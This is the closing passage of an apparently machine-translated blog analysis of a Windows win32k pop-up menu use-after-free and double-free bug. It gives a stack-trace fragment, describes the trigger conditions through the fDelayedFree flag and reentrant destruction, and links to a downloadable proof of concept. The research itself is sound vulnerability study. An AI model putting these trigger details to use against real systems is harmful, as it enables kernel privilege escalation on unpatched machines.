0e 0088fbf8 75acc4e7 TempDemo!xxMainWindowProc+0x8f 

Repeatedly releasing the memory of the target pop-up menu object causes BSOD to occur.

0x4 exploit

Compared with the CVE-2017-0263 vulnerability, although the conditions for triggering the vulnerability are not in the same function and the principles are different, they are both the same. The reuse after release MNFreePopupvulnerability is ultimately triggered in the function during the destruction of the pop-up menu object. Therefore, both The utilization method is exactly the same and will not be described in detail here. Interested readers can read the previous article: " From CVE-2017-0263 Vulnerability Analysis to Menu Management Component ".


postscript

The exploit process of this vulnerability uses specific asynchronous and synchronous message requests to cooperate with each other, so that a special fDelayedFreepop-up menu object with the member flag bit not set is generated in the kernel to meet the vulnerability triggering conditions; by using the menu window object associated with the target pop-up menu object Trigger the destruction operation, causing the execution flow in the kernel to enter the function where the vulnerability is located, and re-enter the function where the vulnerability is located. By exploiting the details of the vulnerability, both calls to the function where the vulnerability is located enter the destruction process of the target pop-up menu, triggering the reuse after release and repeated release vulnerabilities.

So far in this article, we have continuously analyzed tagPOPUPMENUthe use-after-free (UAF) vulnerabilities of multiple pop-up menu objects. Therefore, some of the content in the article is duplicated in the previous articles. However, the vulnerability triggering principle and details, vulnerability triggering conditions are not the same. In future analyses, we will try to select new types of vulnerabilities for analysis.

0x5 link

[0] Download the POC of this analysis

github.com/leeqwind/Ho…

[1] Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks

www.fireeye.com/blog/threat…

[2] From CVE-2017-0263 vulnerability analysis to menu management component

xiaodaozhi.com/exploit/71.…

[3] Analysis and utilization of UAF vulnerability CVE-2015-2546

xiaodaozhi.com/exploit/122…

[4] Kernel Attacks through User-Mode Callbacks

media.blackhat.com/bh-us-11/Ma…

< img src=“https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747” />

Guess you like

Origin blog.csdn.net/javagty6778/article/details/129649640